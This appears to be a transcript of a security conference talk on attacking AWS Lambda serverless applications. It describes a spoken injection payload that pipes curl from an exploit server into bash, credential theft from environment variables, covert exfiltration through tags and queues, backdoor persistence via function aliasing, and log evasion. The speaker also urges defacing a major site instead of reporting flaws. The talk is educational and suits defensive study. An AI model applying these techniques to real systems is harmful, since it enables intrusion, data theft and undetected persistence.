 In the following talk, I'm happy to introduce Rich Jones. Rich is going to talk about what he can do in 60 milliseconds with serverless service, and please give a warm round of applause for Rich. Everybody, thank you very much for having me, for SCCC, for hosting, for you guys for coming out. I appreciate it. My name is Rich Jones. I'm the founder and CTO of Gundad.io. We find awesome freelance gigs for free and open source hackers. I'm also the author of Zappa, which is the best damn serverless framework in the world. It can run any Python web application on AWS Lambda. You can build event-driven applications. You can connect to roughly 500,000 connections per second globally without any operations support right out of the box for your existing apps. I first announced it about six months ago, actually at Hackintel event at Seabase. And now it's used in production by all sorts of big companies, which is pretty cool. You should try it out. Welcome to my talk. It's called Gone In 60 Milliseconds, aka Having a Sexy Title Gets Your Talk Accepted to Conferences, aka Intrusion and Exfiltration in Serverless Architectures. What the hell does that mean? Quick poll. Who here is familiar with AWS Lambda? Okay. So about half. That's pretty good. That's what I was expecting. Okay, great. For the unfamiliar, the good old days of servers, you would have the web server. It would connect to the database, and that was pretty much it. It would have the server. You would have one server. You would probably run lots of services off that server. So if you found a debug panel or something like that, you could use one of your favorite tools. Get a shell and basically run a muck, and it was the best. With the serverless architecture, this is one example, it uses instead of a permanent web server, it uses this service called AWS Lambda, which provides no permanent infrastructure. Your entire application function is held in cache by Amazon AWS, and it's spawned and destroyed on a per request basis. In the space of a single web request or whatever function request, it creates the container, returns and destroys the container. The code execution is triggered by a variety of cloud event sources. Every request is in an isolated container. I'm going to put an asterisk next to isolated, as we'll see. The big advantage for the company is that it's super scalable. Because one request is one server, it means that 10 requests is 10 servers and so on and so on and so on. You can scale this all the way up to trillions of events per year, which is pretty cool. It's also much less expensive because you pay by the millisecond, .000002 dollars per millisecond, which interestingly is now the same in euros. Keep an eye on that. I was surprised about it. Security patches to the operating system are automatic because Amazon handles them, so basically you don't worry about the operating system at all. You only worry about your single function, which saves time, saves money, and lets you fire all the people who work in apps. Some common patterns that you see for companies and services that are using Lambda. One is just the web server. This is like if you were to use Zappa for a Django CMS or something like this. It's just API gateway or just another AWS service to Lambda, so it's the one we saw before. Another common way that people are using this is for asynchronous data processing. If you have a file upload, that will then execute the Lambda function, which will store the result in a DynamoDB store and then have that trigger the upload to the S3 return bucket. This is kind of like a very simple microservice type framework that you can use Lambda for. Chatbots is another common use case. If you're having an SMS message or an email exchange with a robot, it could be through Lambda or one of those cool new echo things. Maybe we'll be able to actually hack through those in the future using some of these techniques. So you can kind of see that there. And the big one that a lot of companies are using like FinTech and medical and science companies are using for is kind of as the driving engine for the state machine and big data processing. This is kind of the interesting one that we'll get into a little bit more later in the talk. So the Lambda, it kind of drives the queue, which is how the like big data processing like compute cluster is knowing what to do. There's loads more of these patterns, but those are some of the ones that I've seen pretty commonly. So when you try to attack these types of applications, it probably won't work. And even if it does work, it'll shut down immediately because they live in these short-lived isolated containers, which is no fun. The container dies after the function returns. Oh, no. What does that mean for us as hackers? It means it's harder to infiltrate because there's less common code. Once the stuff is custom so far, you can't use the same WordPress vulnerability over and over again. The services are isolated. The functions are isolated. There's no users to really escalate on the system. There's no sysadmins to do your cool cron tricks or whatever for gaining escalation. It's also harder to persist our malware because it immediately dies as soon as the container closed. We're still in the file system, so we can't hide our files deep in the operating system. And it's only a sub-second lifecycle for the entire container anyway. There's no initialization system to infects because that is all taken care of by Amazon and we can't get at it. It's also harder to exfiltrate because there's this thing called the virtual private cloud that AWS provides. There's also function-specific roles, which means a very strict permissioning system. A lot of times we can't get a reverse shell because there's no network access. So basically, sad face. Oh, no, we're totally boned. No, we're not. Hell no, dog. When Bezos closes the door, he opens a window. So we're going to learn some recon, some infiltration, some exploitation, some exfiltration, and a little bit of cleanup. Part zero recon, aka how the hell do we know what we're attacking? There's going to be two attack services, the outer and inner attack service for a Lambda function. The outer attack services are the API gateway. So if you look at the headers and you see that it's a serving dynamic content from cloud front, that might be an indication that you're dealing with API gateway. File uploads is pretty easy if you look at whatever the upload endpoint is and you look at the headers and it says that it's S3, that probably means that it's S3. If you look at the email headers that you're communicating to the function with, you can see that it's Amazon SES. So those are pretty obvious. There's also the inner attack surface. So these are services that we can't access directly but provide event sources for the function. So this can mean a whole bunch of stuff. So queues, if there are a lot of long running tasks and it's on AWS, it's possible that they're using the SQS queuing system. But it can also mean database events, streams of information, user events. So logins and user creations and stuff like that can also be an event source. And the log system itself can provide an event source. Part one, infiltration, a.k.a., how the hell are we going to weaponize all that? So Lambda functions, essentially what the application is, it's kind of like a blue ball machine here, what we call Rube Goldberg machines. I just learned for the translators that you guys call these nonsense machines. But essentially lots of little functions and a lot of passing information between them. So to figure out what's going on, we're going to use a process of destructive mechanics, a.k.a., dropping a bolt into the engine and then listening to the sound that it makes to try to figure out what's going on inside. The TLDR of that is we're going to attack the event sources themselves. We're going to try to fire off every type of cloud event service that we can and basically see what shakes out. The usual suspects for infection, unsanitized input, deserialization bugs of all varieties, server-side script injection, malicious binary files. And if it's a web server, most of your favorite web application type exploits. So just as a very trivial example of the kind of things that you might see here. So here's some some trivially vulnerable code. It's getting, it's connecting to an S3 bucket. It's going over the items and it's calling some process on the keys that are in the bucket. But what happens if we create an object called semicolon curl S exploit server XYZ pipe bash, well, then that's going to expand because it's just using the key name to call our exploit code on the Lambda function. Hooray, we did it. Part two, exploitation, aka, how can we escalate our infection? Aka, what the hell is a Lambda? Aka, what's worth stealing? So if we actually find, if we just look at the operating system of a Lambda now that we're able to execute commands on it, well, that won't work because we don't have a shell. Everything on Lambda has to have this event context pattern in it, whatever. But if we do it to find, when we look at it, it pretty much looks like standard Red Hat 6 installation. It's got Python 2.7. Interestingly, it has Python 3.4 on it. It's got Node, it's got Perl, it's got GCC. It's got all the stuff that we like, which is pretty good. If we look at the system even further, we'll see that it's running an operating system called Amazon Linux, which is the default for EC2. So maybe it's an EC2 server. If it's an EC2 server, can we access the meta info server? That's a good idea. For those who don't know about the metadata server from Amazon's docs, instance metadata is data about your instance that you can use to configure or manage the running instance. Anyone who can access the instance can view its metadata. Therefore, you should take suitable precautions to protect sensitive data, a.k.a. don't get hacked because people can look at this stuff. We can figure out all this information, including keys and users and security groups, so really good Intel. What happens if we try to access the server? It doesn't work, so sorry. But that's a good trick to remember if you're attacking EC2, that you can get a lot of information out of the meta info server. Now you're thinking, well, let's take a look at the environment. Let's look around what's in the environment variables. Quite a lot, actually, including some interesting stuff, like session tokens, security tokens, access key IDs, and secret access keys. So that's pretty cool. What are those? Enter IAM. So this is Amazon's Identity and Access Management system, which provides per resource, authentication, and authorization definition. So basically, one task is going to have one set of authorizations to perform its functions. It sounds bad. It is. Like, it makes our job a lot harder. The good news is that it's super easy to fuck up. Pretty much everybody who's using IAM has probably fucked up, especially if you read the documentations, which Amazon provides, which is terrible, or even better if they got their information from the AWS forum, where you can find real gems of wisdom about just give everybody access to everything, which is nice. So full disclosure, everything, all the fun stuff that we're going to do does depend on them having some misconfigured IAM, even subtly misconfigured IAM, which isn't as cool, I have to admit. But it's pretty common, so I don't think it's unreasonable to have that be part of our attack criteria. So what the keys that we saw were part of the Lambda execution policy, which uses this permission called IAM pass roll. Basically, you take a predefined policy for what a function is allowed to do. It creates a temporary user with those permissions and gives the credentials for that user into the user space in those environment variables that we saw. So this is one of the ones that Amazon recommends. This is the AWS VPC access execution roll. This is from Amazon's documentation. And this actually provides some interesting things that we're going to be able to use. Resource star is a great one, because that means we have access to everything available to the account. The ability to create log groups and streams is kind of interesting. Describing the network interface is also super interesting for us. And this will come in handy later. OK, so we can describe the network. What about actually infecting the application source? Like we want to add a backdoor. Well, first, where does the code live? So if we check the environment variables, again, we see this key value for Lambda task root, which is good. So we'll just cat our backdoor into the application there. No, that's not going to work. Sad face, because it's a read-only file system. And even if you could write to the file system, it's not going to persist for other users to call the function, because it's not cached in memory. So it only lived for the span of a single HTTP request, which we don't care about. But you're like, I've got all these cool hacker tools that I want to install on the system. How do I do that? Fortunately, there is temp space on the disk, because some normal applications are going to need to read and write files and stuff. So temp is totally readable, and it works as we'd expect it to. Amazon describes this as ephemeral disk capacity. But ephemeral isn't quite true, actually, because this is how Lambda executions are not completely isolated. For performance reasons, they're actually cached in Amazon's memory across different executions. So because temp is a RAM disk and because RAM is cached, that means that temp is cached as well. So if we can store our tools across multiple executions, yay. But the caveat for that is that we have to keep the function warm in memory by calling it every so often. That length of time is 4 minutes, 30 seconds. Somebody violated an NDA to tell you that. Don't ask me. What's cool is this actually can also apply to long running processes as well. It won't keep the function open, but it will kind of pause the process and then reopen it on the next execution. So now we can install if we have Linux x8664 compiled versions of all our favorite tools, we can put them onto the Lambda function and start calling it. OK, so now we've got some keys, we got some tools. What can we do? So the first thing that we probably want to do is just see what we're allowed to do. And using the AWS CLI tool, we can call this code and we'll get back a policy. And if we're lucky, it'll be star, star, star, star, star, star, star. And then we can do whatever we want. Jackpot. We can create a new admin user and pillage all the databases. Basically, it's game over. Yeah, right. Maybe it'll happen, but probably, yeah, right. A very brief interlude. If you do get the jackpot, if you're looking at Facebook's AWS usage and you get star, star, star, star, star, don't sell the user info to spammers. Don't claim a bug bounty. Don't just use their credit card to mine Bitcoin. Don't tell your favorite TLA. Don't even send all the information to Julia. He's busy. Bug bounties are boring. Espionage is boring. I'm tired of all this spy versus spy stuff. Use your skills of infection for awesome. Put up a badass hacking crew name. You know? It's to put spooky skulls. Put a bunch of spooky skulls on Facebook. Let your IRC homies know what's up, you know? I'm pretty serious about this, actually. I think that we're losing some aesthetic quality to our culture in pursuit of money and careers and stuff like that. But I think that the aesthetic value actually has more worth, and that over time, the broader community begins to respect our aesthetic contributions. Those hacks will actually be worth more in the long run than any bug bounty that you'll get now. So keep it real. Anyway, that was my aside. So far more likely than star dot star, you're going to get some kind of strict permissioning, like the ability to access S3 objects or the ability to access a database or some combination that are abusing various different cloud services that are available. How can we abuse that for nefarious purposes, you're wondering, that's a great question. Part three, exfiltration, AKA take the money and run, AKA the fun part. TLDR, when you don't have a direct network connection to the things that you want to access, because you're using a cloud provider, you can use tags, meta information, and the cloud services themselves to shuttle information out of the cloud. So easy mode, for instance, if we see that we have SES permissions, use the email. We have a single function that will let us send an email out because it's a cloud provider that has an email service or send an SMS. You can actually hack something and get the results back to your virtual cell phone. Slightly harder, if you just have S3 objects, you could zip up the source of the application, put it on S3, and then get it out that way. The fun thing is VPC exfiltration. So this is the architecture that we're talking about before. It's a simplified version, but this is a pretty common architecture for big data using Lambda. What is a VPC? Great question. Amazon VPC provides advanced security features, such as security groups and network access control lists to enable inbound and outbound filtering at the instance level and subnet level. Sounds bad. It is. The good news. Super easy to fuck up, especially if you read Amazon's old docs and the AWS forum. So Lambda has access to these VPC resources. Lambda is our VPC hole puncher. If you are, depending on how they've implemented it, this may actually mean that Amazon can access your internal corporate network, which is pretty cool. But we don't actually even need to use the network to do that. So I'm not going to show you how to do that one. Figure that out on your own. So to exfil from a VPC without touching the VPC network. So this is our architecture. Step one, upload the malicious file, like I've indicated here with a cool cyber skull. This will give us code execution on in the Lambda environment. We're going to put out a bunch of canaries. So we're going to try calling SMS, email, DNS, S3, Qs, everything that's available to us. Just try to put some information out that we can read back. In this case, we see that we can type our results into the bucket so we can get information that way. So we have a bidirectional communication to an owned Lambda service. When we look at the, when we use the keys that we've exfiltrated that way, when we look at the policy, we'll see that we have the Lambda VPC access execution role from earlier with resource star, which is nice. And our described network interfaces, create network interfaces permissions that we saw earlier that Amazon recommends, as well as simple S3 and SQS access just for the necessary functions that we want for the application. Our target in this case is the database, which is still inside the VPC. So we have no direct access to the database from our Lambda execution environment, because it's all wrapped up in this VPC. But what we can do is we can add things to the SQS queue. And if they're using Celery, what actually uses Pickle is a way to shuttle information about. For the JavaScript developers there, it's a bit like using eval to figure out JavaScript. So if we're able to add something to, or you, but this is kind of on your own, like this is use whatever technique that you know, you prefer from there to get your code onto the cluster. But we're going to use this Pickle Celery bug to create an item on the queue, a malicious item on the queue that will then be picked up and run on the code, the compute cluster. So now we have code execution on the cluster, but we have no way of actually directly communicating to it because we're locked out of the VPC. What do we do now? So the interesting thing is actually use meta information about the VPC to expel the information that we want. So because we have the ability to describe network interfaces inside the VPC, we add tags to the EC2 instances and the network interfaces through which they communicate. A lot of times they have this permission because tagging is useful for the admins who want to see what groups are owning what. So then we can add the meta information about that to the network interface itself because the Lambda has the ability to read these tags back out. We can then get the information that we want, we can put it through the S3 and we can extract the information this way. So nice. This also works for the application binaries because we can just, we can encode something in base 64 and then put that in the tag set and then get it out that way, which is nice. Similarly, is the compute cluster able to modify DNS entries that we can read? Is it able to create named log groups? Is it able to create queues? Is it able to create buckets, et cetera, et cetera? Be creative with the AWS services that are available. There's lots and a single overlapping permission can be enough. In fact, even a single overlapping service can be enough for information exfiltration. For instance, you can encode information in the length of the queue and then read that back out. You could use the same thing with the number of network interfaces that are available, the size of the database, anything like that. So that's pretty cool. What if they fix the bug? Persistence, a.k.a. how can we permanently infect a system with no permanent infrastructure, a.k.a. abusing cloud vendor features continued. One neat Lambda feature that's available is this idea of function aliasing. So Amazon will automatically give you labels for the available functions and store all of the old functions with aliases for you, which is useful for application maintainers because they can provide rollbacks if something goes wrong. They can tag their dev and prod and staging environments and stuff like that. There's an audit trail, but we can also use it to persist our malware. So we can get the source code for any function that's available this way. We can upload a backdoor version of that and then alias it to one of those previous functions and hide it there if we need to access it without having it be uploaded every time. An alternate route, which is especially useful if the application is being deployed by Travis or some CI system, anything that uses CloudFormation. CloudFormation requires the code to be hosted on S3 permanently for doing its update function. So if we just infect the code that's on S3 the next time that the CI updates the application stack, it'll use our infected code, which is useful. This is cool because if we have access to the code buckets then we can actually use a single infected Lambda to infect all the other Lambda functions that are available in the stack. One better than that is to actually treat the entire model serverlessly. So imagine that we have a simple application using the foo Lambda that's triggered when there's an SQS event, which is actually gonna be one function and then all the old functions aliased all the way back to function one. So if we can infect this one with some bug that we're exploiting and we're able to create a backdoor function, we can use the same code, create the new function but it's backdoor and then alias that back to the first function that will now contain our backdoor code, we can create an event trigger so that whenever new code is updated, is submitted to the S3 bucket where the functions are registered, that will actually trigger the execution of our malware which will get the code of the new function, infect it with our backdoor, recreate the function, delete the new one and then we have our backdoor version of the latest code that's permanently available for every request. So new code uploads are the trigger for reinfection of our malware. Part five, cleaning up, I'll go fast here, it's boring, pull this closure, I'm not very tidy. So careful with all this stuff if you need to be real stealthy. All Lambda executions have unique execution IDs. If you just write them down, you can delete them later but the errors there are still gonna trigger the CloudWatch alarms. So can you hop off the log group that's also available in the environment variables? No, you can't but you can change the retention policy so maybe we could just have it so that hopefully they don't look at the logs. That's not very good, a better technique is actually to don't log anything to begin with. So because these functions have extremely limited memory size cause they're only built to do one thing, if we exhaust the memory of the function, there's not enough memory to actually do the logging properly. So if we wrap all of our canary code inside of exception handlers that'll then just allocate all the memory that's available, then it doesn't count as an invocation error and it won't actually register. Shout out to Deity who told me that trick, my friend. One copy out of this, one pattern is to, I'm gonna go super fast. If they are logging everything, the flip side of that is that they're logging everything so that you can go and get everybody's passwords and stuff so that's fun. Part six, synthesis. Happy Christmas everybody. Ho ho ho, I'm Santa Claus and I'm giving you a present. I'm giving you an AWS Lambda infection toolkit called McKenzie, you can figure out why on your own. It can do a lot of the tricks that we've talked about today. X-fill, infiltration, creating reinfection handlers, all the stuff, maybe your feature. Put it on GitHub this afternoon, check it out. In conclusion, serverless architectures present new obstacles but we can defeat those obstacles by abusing cloud features themselves. Do you need secure, serverless apps? You should hire me. Do you wanna contribute code? You should check out my GitHub. You should also check out the Slack channel. Shout out to everybody in the Zappa Slack, there's a ton of super smart ADRS people doing interesting things in there. Thank you. Thanks a lot, Rich. Unfortunately, we don't have any time left for Q&A but are you gonna be around for questions? Perfect. So if you're in the room, you can just come ask Rich questions. If you're remote, you've seen the contact possibilities.